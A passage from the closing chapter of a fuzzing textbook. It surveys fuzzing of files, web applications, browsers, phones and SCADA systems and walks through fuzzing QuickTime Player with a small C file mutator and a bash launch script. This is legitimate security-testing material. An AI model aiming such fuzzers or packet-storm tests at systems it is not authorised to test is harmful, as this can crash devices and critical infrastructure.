crashed with fuzzing. The remaining devices did not actually pass the tests, but the test resulted in some other instabilities. These failures were not analyzed any further. These poor testing results with WiFi fuzzing 258 Fuzzing Case Studies 7Ari Takanen and Sami Petäjäsoja. “Assuring the Robustness and Security of New Wireless Tech- nologies.” Presentation and paper at ISSE/SECURE 2007 conference, Warsaw, Poland. October 3, 2007. were to be expected as none of these devices had probably been fuzzed before. But, a more serious result was that even simple DHCP fuzzing was able to crash four out of the five devices. N/A in the table means those tests were not executed due to time limitations. 9.3 Application Developer Fuzzing Perhaps the most common area of fuzzing is in application fuzzing. For most indi- viduals, the most interesting target of tests is some self-developed web application or a piece of software running on a standard operating system such as Linux or Windows. This is also an area where most open-source fuzzers operate. 9.3.1 Command-Line Application Fuzzing The first publicly known fuzzer,8 The Fuzz, by Prof. Barton Miller and his team, tar- geted command line utilities in Unix-style operating systems. Later, those tests were also extended to cover various Microsoft and Apple operating system versions. Simply, a command-line application fuzzer will execute commands (or scripts) that take their parameters over the command line. Originally, this was an issue with “Set User ID” or SUID9 commands in Unix, but later, these fuzzed inputs were noted to cause security issues with any commands that can be launched over remote triggers, such as media received over the Internet, or launched by server-side scripts. 9.3.2 File Fuzzing File fuzzing is the simplest form of fuzzing. In file fuzzing, you either take a file and mutate it (mutation-based fuzzing), or you teach your fuzzer the specification of the file type and generate the fuzzed files (generational-based fuzzing). File fuzzing is simpler than simple stateless request-response protocols because there usually is no state information involved. The tests are static. Once generated, you can reuse them over and over again. Some fuzz-file databases can contain tens of millions of tests (files) that can be used for testing against various versions of software. The more advanced file fuzzing techniques are based on automatic file specification engines. These engines will automatically reverse-engineer the file structure and deploy fuzz tests to the structure. For example, the PROTOS Genome10 project (ongoing since 2001) has used the same algorithms that are used to reverse-engineer structures in the human genome to map common structures and understand the logic inside. When conducting file fuzzing, you first need to analyze which file formats are parsed by the application you wish to test. For example, a standard web browser, 9.3 Application Developer Fuzzing 259 8There have been other testing tools that have attempted to crash the SUT with various inputs, but the Fuzz project was probably the first in which the intention was to find security vulnerabil- ities and not just quality errors. 9A SUID bit in the file system will tell the operating system to launch the program with other privileges, typically those of a system administrator. 10www.ee.oulu.fi/research/ouspg/protos/genome such as Internet Explorer, can easily support many different image formats and their variants. A full coverage of tests with file fuzzing can be laborious, and there- fore a pregenerated suite of tests might give a good starting point for fuzzing. The greatest challenge with file fuzzing, at least for QA people, is deciding when to stop fuzzing. For an interesting case study, consider the work done fuzzing libpng, an open source PNG image decoder.11 Libpng is the decoder used by many common appli- cations such as Firefox, Opera, and Safari. In this case, we began fuzzing this library by using a mutation-based approach and monitoring the number of lines executed. In other words, a particular PNG was obtained from the Internet and 100,000 fuzzed PNGs were created by randomly changing bytes in the original file. Using these files, approximately 10.7% of the library was executed. Next, in order to get a feel for how important the choice of initial PNG was to this particular case of mutation-based fuzzing, the same procedure was repeated starting from four other different PNGs. In other words, for 5 distinct PNGs, 100,000 fuzzed PNGs were created for each of the 5 initial files. Again, code coverage was monitored during testing. It turns out that the choice of initial input to a mutation-based fuzzer is very important, as Table 9.2 indicates. Thus, it is important when fuzzing with a mutation-based approach to always use a variety of initial files (or in general inputs) in order to mutate, because in this small sample, some files obtained almost 50% more code coverage than others when used as an initial file. Likewise, if you compute the code coverage from all 500,000 of the PNGs, you obtain code coverage of 17.4%, which is better than any one of the files by itself. In other words, some of the PNGs exercise certain portions of the code while other PNGs may exercise other portions of the code. No matter how many bytes you change randomly, you will never duplicate the structure found in different PNGs in a reasonable amount of time starting from one file. Finally, we took libpng and fuzzed it using a generational-based approach with SPIKEfile. This required writing out a complete specification for the PNG file for- mat and intelligently fuzzing each particular field of the format. This required many hours of labor to produce 30,000 fuzzed PNGs. However, the benefit was clear, as 25.5% code coverage was obtained by these 30,000 files. By consulting the results of the mutation-based fuzzing, this is roughly twice the code coverage that you would typically find with mutation-based fuzzing. Throughout all of this testing of libpng, no crashes were observed, although deep monitoring was not conducted. 260 Fuzzing Case Studies Table 9.2 Code Coverage Obtained with a Mutation-Based Fuzzer for Five Different Initial “Good” Inputs PNG 1 PNG 2 PNG 3 PNG 4 PNG 5 Code coverage 10.7% 14.9% 13.7% 12.5% 10.5% 11www.defcon.org/html/defcon-15/dc-15-speakers.html#Miller 9.3.3 Web Application Fuzzing In web application fuzzing, the fuzzer will simulate a browser that will respond to the web application using many malicious inputs into all the form fields, cookies, URLs, and so on. Furthermore, it will ignore all possible input validation performed in the client, such as that done with JavaScript. Of course, input validation should always be performed on the server side, even if a legal user would be restricted from inputting whatever they pleased in the standard user interface. The main reason why web fuzzing is such a popular area of fuzzing is because of the diverse developer community creating web applications. Almost every web designer knows some scripting languages and will happily implement a server-side script that receives input from a web browser. Those web applications can be quite complex, and almost always tailored to each user. Web application fuzzing happens in several different layers. Most web fuzzing tools only test the highest layer, and only with simple request-response test cases, apparently going for the low-hanging fruit. Others “spider” through a website looking for individual targets, such as web forms, and then test each of these auto- matically with all visible parameters. Some tools can even benefit from reading in the server-side source code and also testing those parameters that are left in the scripts from older releases but are not visible in the public web form. But, real-life web fuzzing can be much more complex than these examples. A complex business application may contain a complicated state machine, and there- fore each web application test case can consist of a sequence of messages. For exam- ple, an automated fuzz test against an e-commerce portal could include the preamble of logging in, then adding items to a shopping basket, activating the pur- chase, and then logging out. Web fuzzing is actually an interesting target for model- based fuzzing, and numerous security consultants using most available fuzzing frameworks have already conducted such tests. When the use case or template for fuzzing is defined, or the model is built, the fuzzers will then automatically input anomalies into various parts of the inputs. Most web fuzzing tools test through a predefined set of inputs for each parameter in the web forms. More advanced fuzzers will also enable the user to define sub- structure for the parameters. The goal is to try inputs that would be passed through the web application and into a middleware component, operating system com- mand, or a database. Therefore, the inputs are almost always targeted against spe- cific implementations. A set of test cases targeted to a specific variant of database query language (such as the many variants of SQL) will probably not trigger a fail- ure when some other database is used in the server. Similarly, if the web server is running on a proprietary operating system, then tests that target Unix-based shell commands would be doomed to fail. Web 2.0 increases the complexity of web fuzzing significantly, and makes it even harder for standard off-the-shelf fuzzing tools to succeed due to the increased proprietary communication interfaces between the browser and the server(s).12 9.3 Application Developer Fuzzing 261 12Alex Stamos and Zane Lackey. “Attacking AJAX Web Applications,” Presentation at Black Hat USA 2007 conference. Las Vegas, NV. (July/August 2007) Example attack vectors include • HTTP headers; • Transport protocols such as IP, TCP, SSL, and TLS; • Database query languages: SQL; • Execution flaws (scripting language specific); • Web 2.0 remote procedure calls and streams such as SOAP and XML-RPC; • XML XPath and XQuery; • HTML content: Cross-Site Scripting (XSS); • LDAP; • Flash; • Java Remoting; • E-mail, and any other application protocol launched by a web application. Both free and commercial web testing tools are numerous, and a well-maintained list is available from, for example, the OWASP portal.13 9.3.4 Browser Fuzzing Web browser fuzzing is not really that interesting, unless you are developing your own browser or an extension to a browser. The reason is that there are only a hand- ful of browser implementations used by consumers. Then again, this is exactly why it makes a good target for security researchers. A set of 0-day flaws found in a widely used browser can result in a devastating attack tool, with the capability to infect every customer that browses to a malicious site. Browsers are the easiest fuzzing targets to set up, and you will never run out of tests that you can run against them because they support almost everything that most users are familiar with. Browsers can also be used to trigger a variety of local applications on the host, such as PDF readers and office document viewers. Some example attack vectors against browsers include • HTTP; • HTML; • Java and JavaScript (including fuzzing against the Java runtime); • ActiveX (and all the available COM objects in Windows); • XML and SOAP; • Ajax XML, Java scripts and script arrays; • JSON (e.g., Java script arrays); • Flash; • Images: gif, jpeg, png, and many others; • Video: avi, mov, mpeg-variants, and many others; • Audio: wav, mpeg-variants, streaming protocols, and many others. 262 Fuzzing Case Studies 13www.owasp.org/index.php/Appendix_A:_Testing_Tools Browsers are also probably one of the simplest applications to instrument. This is because they run as stand-alone applications. It is extremely easy to build a sim- ple script that will automatically start and kill the browser, requesting a new test case every time it is launched. You can also use HTTP features such as the “META REFRESH” tag to automatically refresh the page where the browser obtains its test cases. In short, you should test any application that acts as a web browser, or any application that is launched by a web browser, with all available fuzzing tools. You can find tens of freely available browser fuzzing tools in any search engine with the keywords “browser fuzzing.” For example, “Mangle” was a famous HTML fuzzer that found many bugs in Internet Explorer, and JSFunFuzz is a JavaScript Fuzzer. Some commercial network protocol fuzzing companies also support web browser fuzzing. 9.4 Network Equipment Manufacturer Fuzzing Fuzzing is especially important to network equipment manufacturers, due to the difficulty of deploying updates to the devices after their release. For example, Cisco Systems has explained how fuzzing is a key part of their software development life cycle.14 9.4.1 Network Switch Fuzzing A network switch or a router is a critical device in all network deployments. These devices come in varying sizes and configurations and often run some real-time oper- ating systems such as Windriver or QNX. This can be a challenge for on-device monitoring and instrumentation. Interfaces that can be fuzzed include router pro- tocols, IP services, and various proxy components. Many home routers also have application-level gateways and anti-virus systems built into the device. Router protocols include • BGP; • OSPF; • IS-IS; • PIM-SM/DM; • GRE; • DVMRP; • RSVP; • VRRP; • RIP; • MPLS/LDP. 9.4 Network Equipment Manufacturer Fuzzing 263 14 Ari Takanen and Damir Rajnovic. “Robustness Testing to Proactively Remove Security Flaws with a Cisco Case Study.” October 26, 2005. Silicon Valley Software Process Improvement Net- work (SV-SPIN). www.svspin.org/Events/2005/event20051026.htm 9.4.2 Mobile Phone Fuzzing Mobile phone fuzzing, especially against smartphones, is very much like fuzzing against a typical desktop workstation. The specialty with smartphones is that the failure mode can be devastating—i.e., total corruption of the handset flash-memory, requiring reprogramming of the flash memory to fix the operation. Fuzzing can result in corruption of the SIM card beyond repair—for example, when fuzzing is conducted over Bluetooth SIM access Profile (SAP). The biggest challenge is that most widely used mobile phones run on special operating systems such as Symbian, which does not allow much debugging of the application after it has been launched. The Symbian SDK, on the other hand, is a very interesting environment for fuzzing specialists. Since some of the earliest releases, the Symbian SDK has allowed someone to run Symbian applications on top of standard workstation operating systems and allowed him or her to “fuzz” them at the API layer. The Symbian (it was earlier called Epoc) development envi- ronment will simulate random failures in the API return values, such as telling the application that it is now out of memory, and so on. Mobile phones come with a number of open interfaces. We would not be sur- prised to see a web server on a mobile phone, as some messaging techniques actu- ally use HTTP to transfer files between smartphones. But, the most interesting interfaces and applications to fuzz in mobile phones are the following: • Wireless (Bluetooth, WiFi and WiMAX). • Web browser (HTTP itself and all related interfaces mentioned earlier in browser fuzzing). • E-mail client (SMTP client, POP, IMAP4). • VoIP client (SIP, RTP, TLS client). • Instant messaging (SMS, MMS). • Media formats (images, audio, video). • Calendar data (vCal, iCal, vCard). One of the authors of this text found a vulnerability in the web browser in Apple’s iPhone by using fuzzing techniques.15 Bluetooth is a special challenge in mobile phones due to the complex protocol stack. Several Bluetooth interfaces are open to attack without any user acknowl- edgment. Examples of such interfaces include Bluetooth/LCAP and Bluetooth/SDP. Typically, low-level tests will break the stack itself, but high-level fuzzing of the Bluetooth profiles will break the applications running above the stack. Mobile phones can be tested through a range of different injection vectors (Fig- ure 9.5). Active attacks push the fuzzed messages to the phone, requiring no action by the user. Active fuzzing typically consists of testing the request messages or ini- tiating messages on the SUT. Sometimes active fuzzing can also test interfaces that require no action on the SUT but are automatically requested by the device itself. On the other hand, passive attacks require test automation on the mobile phone to 264 Fuzzing Case Studies 15www.nytimes.com/2007/07/23/technology/23iphone.html fetch each fuzzed test case. An example of this is testing web clients or e-mail clients on the smartphone. This setup can pose problems, especially when a test case causes a crash and the device will fetch the same test case each time from the cellular infra- structure. This happens often in SMS fuzzing, which can be set up as both active and passive fuzzing. The offending test message is typically not deleted from the messaging server before the handset crashes, and therefore other means must exist to skip over that test to be able to automatically continue the test execution. 9.5 Industrial Automation Fuzzing At the present time, most industrial control system equipment and software manu- facturers are limited in their ability to rigorously test new products for possible security flaws. As a result, new vulnerabilities are discovered each year, but only after the products are sold and installed by the end user. This is particularly true for the control and SCADA systems used in critical infrastructures such as oil and gas, water, and electrical generation/distribution industries since standard information technology (IT) vulnerability testing does not typically address the unique resource and timing constraints of critical systems.16 To help provide a solution, the Achilles Vulnerability Assessment Project was launched by the British Columbia Institute of Technology (BCIT) in the summer of 9.5 Industrial Automation Fuzzing 265 Figure 9.5 Test environment for fuzzing mobile phones. 16The entire section on SCADA fuzzing is based on personal communications with Dr. Nate Kube from Wurldtech, the leading SCADA fuzzing company from Canada. 2003.17 The intent was to create a test platform that would eventually allow con- trol system vendors and end users to systematically stress-test critical equipment and software for both known and unknown security vulnerabilities prior to market release or field deployment. SCADA fuzzing is different from other use scenarios in two perspectives. The legacy SCADA systems were built on complex infrastructures involving serial (for example, RS323, JTAG, USB) and potentially some proprietary parallel buses. Today, most of these interfaces have been adapted into Ethernet-based technolo- gies, and that has introduced a family of new protocols such as: • Modbus/TCP; • ModbusPLUS; • Vnet/IP; • Ethernet/IP; • Profinet; • MMS (Manufacturing Message Specification). The fuzz traffic generation is similar to any other fuzzer, but the models used will require some rethinking due to the master-slave relationships used in SCADA. Very few SCADA protocols use the client-server architecture. Determining the extent of the malady is of greatest import. Therefore, the monitoring of key device functionalities becomes the paramount issue. To achieve this, the SCADA fuzzing frameworks divide the control functionality into three discrete areas: • Ethernet communications processing. • Logic processing. • I/O processing. Each of these areas is monitored separately to accurately quantify a SUT’s response to testing stimulus. Monitor data is used as a part of determining the severity metric if a failure is detected. Key challenges in SCADA fuzzing include • Diversity in protocol implementations (optional and vendor extensions); • Ambiguity in protocol implementation; • Access to test equipment; • Complexity in configuration of systems and test beds; • Simulations with and without loaded behavior; • Gray box access to SUT; • Multi-way redundancy in SUT; • Fail-over behavior of SUT; 266 Fuzzing Case Studies 17The Achilles project was a success and Wurldtech Security Technologies emerged as the leading provider of security solutions to SCADA, process control, and mission-critical industries, and the first company to offer a comprehensive suite of products and services designed specifically to pro- tect the systems and networks that operate the foundation of the world’s critical infrastructure. • Performance constraints because some devices are very slow; • Accounting for watchdogs, fail-safe modes, communication fail-over, etc. The various storm-based test cases included in the Achilles fuzzer suite were developed in response to lab and field testing as well as reported failures in the field that found that high volumes of regular or unusual packets often caused opera- tional discontinuity (for example, hard-faulted devices, loss of communication for extended periods after a storm has ceased, tripped safety systems). They are also used to discover and validate functional constraints of the device under test (such as maximum packet per second rates before being DoS’ed). This allows other tests to ensure they deliver valid results and prevent false positives or can be used to force a device to fault and reset, providing access to device states that only occur during startup. These states can contain information like log-in sequences or database down- loads, that can provide a huge amount of valuable information. The traffic generated by each type of storm has a structurally correct header for the protocol being tested with a random payload. Different failure patterns were identified depending on how well structured the packet was (i.e., how many protocol headers were structurally valid) and that one of the primary causes of fault was excessive CPU load during processing, followed by memory exhaustion and concur- rency issues. The storms are designed to load the target protocol as heavily as possible while minimizing interaction at high protocol layers. The traffic generated by each type of storm has a structurally correct header for the protocol being tested with a ran- dom payload meant to be caught by error-checking code at the next protocol level up. This allows us to measure differences in behavior between protocols (Ethernet vs. IP, IP vs. TCP, etc.) that may be exploitable. For example, in some devices tested, there was a greater overhead incurred processing Ethernet headers with ran- dom payloads than when processing IP headers with random payloads. Different delivery mechanisms such as broadcast and multicast have also exhibited similar unexpected behavior during storm tests, inciting the creation of broadcast/multi- cast storm variants. The ability to stress the communication process to various levels allows us to measure how the device responds to hostile networking conditions. Most equip- ment tested has had a design goal that inputs cannot impact the controller’s ability to maintain its I/O functions according to some well-defined policy (no affect at all, entering a fail-safe mode, etc.). Noting that different kinds of protocols affect CPU and memory load differently, we are able to measure discrepancies between the desired I/O policy and the actual behavior. Many SCADA networks are designed for a maximum data rate of about 500 to 1,000 packets per second, which makes simple load-based DoS attacks very feasible. 9.6 Black-Box Fuzzing for Security Researchers Finally, we conclude this book with an example of auditing a black-box applica- tion. This may occur as part of a formal audit at the end of the software develop- ment cycle, as an engagement by a security consultant, or by a security researcher 9.6 Black-Box Fuzzing for Security Researchers 267 looking at a released product. In the first two cases, it is obvious which system is the target. In the latter case, there is much discretion in choosing the target. 9.6.1 Select Target For software developers and testers, there is usually not a chance to choose the tar- get. You must simply test the system you are developing. Likewise, security auditors are required to test the system given to them for review. The only exception is when there are a number of systems that need testing, and it becomes important to pick which one should be tested first or which one requires the most time for examining. In this case, such a decision needs to be based on factors such as risk, whether some applications are more exposed than others and how well each product was devel- oped, for example. For the security researcher, target selection is very important. If you choose a target that is very secure and well written, say Apache, it is likely you won’t find any bugs. If you choose a product that is too obscure, like Tom’s Mail Server, no one will care if you find any bugs. It’s best to choose something in between. Other good strategies include choosing products that have not been fuzzed or those with a recent track record of problems. Examples of the former include SNMP imple- mentations in 2002 and web browsers in 2006.18,19 We choose the latter path and examine Apple’s QuickTime media player due to its history of vulnerabilities. In fact, in 2007, there were over 34 security holes in this product alone.20 9.6.2 Enumerate Interfaces Normally, when a system is about to be fuzzed, it is important to determine all the ways data can be passed to the target. For local applications, this might include command line arguments, environment variables and files consumed, for example. For network devices, this might vary from low level packets such as Ethernet pack- ets, up to the TCP/IP stack, and then any administrative applications such as web servers on the device. It is important to identify all possible protocols/formats that the system understands. This might be network protocols or file formats. For exam- ple, a web browser can speak many different protocols including HTTP, FTP, HTTPS, RTSP, and so on, as well as parse many different image formats. In our target of QuickTime, we need to know which formats QuickTime sup- ports. The Apple website lists many formats supported by QuickTime. However, it is often best to ignore such documentation and go straight to the source. There is a program for Mac OS X called RCDefaultApp that specifies which formats are asso- ciated with which applications.21 Using this application, a wide variety of formats are found, including 268 Fuzzing Case Studies 18http://xforce.iss.net/xforce/alerts/id/advise110 19www.news.com/Security-expert-dubs-July-the-Month-of-browser-bugs/2100-1002_3-6090959 .html 20www.securityfocus.com/brief/645 21http://rubicode.com/Software/RCDefaultApp • 3g2; • aac; • amc; • avi; • caf; • rtsp. QuickTime Player supports almost 50 different file extensions. This is one rea- son it has had so many bugs—it has a very large feature set. At this point it is just a matter of choosing a protocol and beginning to fuzz. For this fuzzing session, we chose the Audio Video Interleave (AVI) format. 9.6.3 Choose Fuzzer/Fuzzer Type Choosing the fuzzer and fuzzer type is sometimes a difficult decision. It usually boils down to how badly you want to find bugs versus how much time, energy, and/or money you wish to spend. As we demonstrated in the last chapter, the most effec- tive method for finding bugs is probably to use a combination of different fuzzers. However, in real life, this is not always feasible. Normally, product shipment dead- lines and other projects force us to choose one fuzzer and may even limit the amount of time fuzzing can be performed with the single fuzzer. For this case study, like most security researchers, we have no budget, so commer- cial tools are out of the question. Therefore, our choice is between an open-source mutation-based or generational-based fuzzer. We don’t have a lot of time, and as we’ll see, attacking QuickTime Player with a generational-based fuzzer is a little like attack- ing an ant with a sledgehammer, so we’ll go with the easier mutation-based approach. We could use something like FileFuzz or the PaiMei file fuzzer, but we choose to rein- vent the wheel. The following simple C program is used for our fuzzing.22 #include <stdio.h> #include <unistd.h> #include <string.h> #define NUM_FILES 8192 #define SIZE 6250577 int main(void) { FILE *in, *out, *lout; unsigned int n, i, j; char *buf = malloc(SIZE); char *backup = malloc(SIZE); char outfile[1024]; 9.6 Black-Box Fuzzing for Security Researchers 269 22Thanks to Josh Mason for writing this simple, but very effective fuzzer. int rn, rn2, rn3, rn4; int rbyte; int numwrites; in = fopen(“good.avi”, “r”); n = read(fileno(in), buf, SIZE); memcpy(backup, buf, n); lout=fopen(“list”, “w”); srand(time(NULL)); for (i=0;i<NUM_FILES;i++) { // seek and write numwrites=rand() % 16; numwrites++; printf(“[+] Writing %d bytes\n”, numwrites); for (j=0;j<numwrites;j++) { rbyte = rand() % 257; if (rbyte == 256) rbyte = -1; rn = rand() % n - 1; printf(“[+] buf[%d] = %d\n”, rn, rbyte); buf[rn] = rbyte; } sprintf(outfile, “bad-%d.avi”, i); out = fopen(outfile, “w”); write(fileno(out), buf, n); fclose(out); fprintf(lout, “%s\n”, outfile); memcpy(buf, backup, n); } } This simple file fuzzer changes up to 16 bytes in a file to a random value. It then writes out these new files to disk. It does this 8,192 times. This is a perfect example of a simple mutation-based fuzzer with no idea of the underlying file format. 9.6.4 Choose a Monitoring Tool We’ve demonstrated the importance of choosing a good monitoring tool. Depend- ing on the situation, from having complete source code access to fuzzing a black- 270 Fuzzing Case Studies box network appliance, the choices of monitoring tools available will vary. Like- wise, some monitoring tools may take additional time to set up or may be expen- sive commercial endeavors. In this case we are fuzzing QuickTime Player on Mac OS X. As we mentioned before, Mac OS X has a built in monitoring feature called CrashReporter. When- ever an application crashes, the CrashReporter will detect this event and log it to a file. We’ll use this to our advantage to monitor the target application. Furthermore, we’ll use libgmalloc, discussed in Chapter 6, to help find even small memory cor- ruption bugs. 9.6.5 Carry Out the Fuzzing At this point, the fuzzing needs to be actually carried out. Running a fuzzer, espe- cially one with a random component, can take a significant amount of time and may require considerable patience. When fuzzing certain devices or network servers, consideration must be taken to restart the application or device whenever it crashes. For file fuzzing, the application is often launched for each fuzzed input, so this isn’t an issue. We arbitrarily chose to create 8,192 fuzzed inputs. We use the following sim- ple shell script to launch QuickTime Player with each of the inputs we created. #!/bin/bash VAR=0; X=0; Y=`wc -l /var/log/crashreporter.log | awk ‘{print $1}’`; for i in `cat list`; do echo $i; DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib /Applications/QuickTime\ Player.app/Contents/MacOS/QuickTime\ Player $i & VAR=`expr $VAR + 1`; if [ $VAR == 10 ]; then sleep 60; X=`wc -l /var/log/crashreporter.log | awk ‘{print $1}’`; echo $X; echo $Y; if [ $Y -lt $X ] then echo “Sometime before: $i”; fi VAR=0; 9.6 Black-Box Fuzzing for Security Researchers 271 Y=$X; killall -9 QuickTime\ Player; fi done This script launches QuickTime Player with the bad files 10 at a time. It then sleeps for 60 seconds and then kills all the QuickTime Player processes and continues. Meanwhile, it monitors the CrashReporter log for any changes and reports when one occurs. By launching this and waiting just under 24 hours, the fuzzing is com- plete. This is a good point to observe the tradeoff between monitoring a target and the speed/number of fuzzed inputs. Using libgmalloc takes QuickTime Player con- siderably longer to start than not using it. Without using this feature, the fuzzing could be conducted approximately 20 times faster, or in just over an hour. Another way to look at it is that in the same period of time, without monitoring, we could have fuzzed with 150,000 inputs instead of 8,000. 9.6.6 Post-Fuzzing Analysis After the fuzzer has been run and all the crashes have been documented, more work remains. The crashes must be analyzed to figure out to which underlying vulnera- bilities they belong. There may be many different crashes that really point to the same bug. Likewise, there may be difficult-to-repeat crashes that require very pre- cise sequences of inputs to trigger. Some of these issues can be made simpler using a fuzzing framework such as Sulley or a commercial tool such as from MuSecurity. At the conclusion of our fuzz test against QuickTime Player, the fuzzer reported two crashes. By the design of the shell script, this narrows the crashes to 20 possi- bly bad files. At this point, each one must be run individually to determine which caused problems. After this was carried out, two distinct files were left that crashed the player. Both crashes were identical, meaning there is one underlying vulnerabil- ity. CrashReporter gives the dialogue shown in Figure 9.6. 272 Fuzzing Case Studies Figure 9.6 CrashReporter observes that our fuzzed input has caused some problems. A little closer look within the debugger reveals the instruction that crashes: 0x9278020e <Copy8C32ARGB+88>: movzx eax,BYTE PTR [edx] Closer inspection shows this is within a loop, and eventually edx goes beyond mapped memory. It appears to be an overflow in the source buffer of a copy. It is unclear whether this condition is exploitable without more investigation. This bug has been reported to Apple but has not been fixed as of the time of this writing. Are there other bugs in QuickTime Player? Probably. Does Apple use fuzzing as part of its SDLC? Probably not in QuickTime. 9.7 Summary To conclude the book, in this chapter we went through different use cases with fuzzing. The purpose of this chapter was not to give a thorough walk-through of fuzzing in any of these use cases, but to enable you to see the technique in use in dif- ferent environments. Deployment of fuzzing is often technology oriented. We do not want to downplay that approach, because we definitely know that fuzzing is cool and exciting. If you get your hands on a fuzzing framework such as a Sulley or GPF, you will definitely have fun for months and months. The outcome is not necessarily what you might have hoped for, though. You might catch a flaw here and another there, but what about the bugs you left behind? The deployment of fuzzing should start from real need. In any enterprise space, your CIO will most probably have regular nightmares on some peculiar threat-scenarios that you could go and eliminate with fuzzing. An enterprise network is loaded with various network applications and services that are open to the hostile Internet, and all of those are good targets for fuzzing. Any CIO will immediately understand the value of proactive fuzzing and most often would look forward to outsourcing fuzzing to a consultant who has experience in the field. Fuzzing in the carrier and ISP space is a bit different. Whereas in the enterprise environment you very rarely have the luxury of dedicated test networks, the serv- ice providers are well prepared to schedule test-time for fuzzing. Also, because the worst attack to a service provider is a Denial of Service, you will not have to waste weeks and weeks explaining what a buffer overflow is. They do not care. Actually, an attack with a malicious payload would just downplay the vulnerability, as down-time is much more expensive for them. Software developers are the most challenging users of fuzzing. The QA people will only very slowly change their mentality from feature testing into seemingly ad- lib negative testing, for which you could classify fuzzing. But, slowly, all the major software-developing companies have seen the light, and hopefully smaller organiza- tions will follow behind. Acquisitions of some selected web fuzzer companies by both HP and IBM in 2007 could show that at least the web fuzzing market is becoming more mature. Network manufacturers, on the other hand, are driven by requirements set by the service providers and have been quick to react to fuzzing needs. Again, the 9.7 Summary 273 fuzzing deployment has started from the biggest players in the market, all of which do fuzzing of some sort. Security product vendors have also been quick to follow, and the development of most security devices already utilizes fuzzing quite early in the development process. Next, we discussed fuzzing with SCADA fuzzing. Industrial automation is just one of the examples of how software has penetrated the national critical infrastruc- ture, and fuzzing in that space can really be a life saver. Next time when you read an article about a power blackout, think about SCADA fuzzing for a second. The same fuzzing concepts that are used in the industry data busses apply for any tradi- tional industries such as the automobile or airline industries. Finally, we took a look at fuzzing from the security researcher’s perspective. This approach is different from the other ones because it is conducted in a black- box setting since the source code is not available. We stepped though an entire fuzzing session from target selection through reporting the vulnerabilities. It showed very plainly just how effective even simple mutation-based fuzzing can be. When we were finalizing this book in January 2008, fuzzers were still quite early in the market. But already then/today you can hear the end users of software screaming “Enough is enough!” Without fuzzing, we will forever stay in the hamster- wheel of patch-and-penetrate, reading about the latest vulnerabilities and crashing electric systems in the headlines of our morning papers. With that thought, please keep an open mind and review your own work and the work of your colleagues and see where fuzzing fits for you and your organization. Please do not hesitate to e-mail us your stories from the trenches. Our foremost motivation in writing this book was to help you, the reader, but in order to do that and to keep improving the book, we need your feedback on what to improve. 274 Fuzzing Case Studies About the Authors Ari Takanen Ari Takanen is founder and CTO of Codenomicon. Ari has been working with infor- mation security since 1996. Since 1998, Ari has focused on proactive elimination of information security issues in next-generation networks and security critical envi- ronments. His main research topics include robustness testing, fuzzing and other proactive means of security testing. He started his research on these fields at Oulu University Secure Programming Group (OUSPG) as a contributing member to PRO- TOS research. The research group studied information security and reliability errors, applying their research into protocol fuzzing of e.g., WAP, SNMP, LDAP, and VoIP implementations. PROTOS publicly launched their first model-based fuzzer in 2000. Continuing this work, Ari and his company, Codenomicon Ltd. provide and commercialize automated tools using a systematic approach to test a multitude of interfaces on mission-critical software, VoIP platforms, Internet-routing infrastruc- ture, and 3G devices. Codenomicon supports more than one hundred communica- tion interfaces and file formats with state-of-the-art fuzzing tools. Among these protocols, Ari has selected a few that are most interesting to him, including those used in the family of VoIP devices, in security devices such as VPNs, and wireless devices. Ari has been speaking at numerous security and testing conferences, and also on industry forums related to VoIP, IPTV and wireless. He has also been invited to speak at leading universities and international corporations on topics related to secure programming practices and fuzzing. Jared DeMott Jared DeMott is a life-long vulnerability researcher, speaker, teacher, and author. He started his computer security journey with the mysterious NSA. Mr. DeMott played his small role in opening the eyes of the world to the effects of fuzzing by speaking on fuzzing, releasing fuzzing tools, and by working on this book project. Jared is a fol- lower of Christ, loves his family and friends, and enjoys time off and having fun. Charlie Miller Charlie Miller is Principal Analyst at Independent Security Evaluators. Previously, he spent five years at the National Security Agency. He is probably best known as the first to publicly create a remote exploit against the iPhone. He has a Ph.D. from the University of Notre Dame and has spoken at numerous information security conferences. 275 Bibliography Edward Amoroso. Fundamentals of Computer Security Technology. Prentice Hall, 1994. Victor R. Basili, Barry Boehm. Software Defect Reduction Top 10 List. Computer, January 2001, pp. 135–137. Boris Beizer. Software Testing Techniques 2nd edition. International Thomson Computer Press. 1990. Caballero, Yin, Liang, Song, “Polyglot: Automatic Extraction of Protocol Message Format using Dynamic Binary Analysis”, In Proceedings of the 14th ACM Conference on Computer and Communication Security, Alexandria, VA, October 2007. R. Enbody and K. Piromsopa, Secure Bit: Transparent, Hardware Buffer-Overflow Protection, IEEE Transactions on Dependable and Secure Computing, Volume 3, Issue 4 (October 2006), Pages: 365–376, 2006, ISSN:1545–5971 Juhani Eronen and Marko Laakso. A Case for Protocol Dependency. In proceedings of the First IEEE International Workshop on Critical Infrastructure Protection. Darmstadt, Germany. November 3–4, 2005. J. E. Forrester and B. P. Miller. An Empirical Study of the Robustness of Windows NT Applica- tions Using Random Testing. In Proceedings of the 4th USENIX Windows System Sympo- sium, Seattle, August 2000. P. Godefroid, M. Levin, D. Molnar. Automated Whitebox Fuzz Testing. NDSS Symposium 2008. San Diego, CA. 10–13 February, 2008. Andrew Jaquith. Security metrics: replacing fear, uncertainty, and doubt. Addison-Wesley. 2007. Rauli Kaksonen, Marko Laakso, and Ari Takanen. Software Security Assessment through Spec- ification Mutations and Fault Injection. In Proceedings of Communications and Multime- dia Security Issues of the New Century / IFIP TC6/TC11 Fifth Joint Working Conference on Communications and Multimedia Security (CMS’01) May 21–22, 2001, Darmstadt, Germany; edited by Ralf Steinmetz, Jana Dittmann, Martin Steinebach. ISDN 0-7923- 7365-0. Rauli Kaksonen. A Functional Method for Assessing Protocol Implementation Security (Licenti- ate thesis). Espoo. Technical Research Centre of Finland, VTT Publications 447. 128 p. + app. 15 p. ISBN 951-38-5873-1 (soft back ed.) ISBN 951-38-5874-X (on-line ed.). Marko Laakso, Ari Takanen, and Juha Röning. The Vulnerability Process: a tiger team approach to resolving vulnerability cases. In proceedings of the 11th FIRST Conference on Computer Security Incident Handling and Response. Brisbane. 13–18 June, 1999. Marko Laakso, Ari Takanen, Juha Röning J. Introducing constructive vulnerability disclosures. In proceedings of the 13th FIRST Conference on Computer Security Incident Handling. Toulouse. June 17–22, 2001. Charles Miller. The legitimate vulnerability market: the secretive world of 0-day exploit sales. Workshop on the Economics of Information Security (WEIS) 2007. The Heinz School and CyLab at Carnegie Mellon University Pittsburgh, PA (USA). June 7–8, 2007. Barton P. Miller, Lars Fredriksen, Bryan So. An empirical study 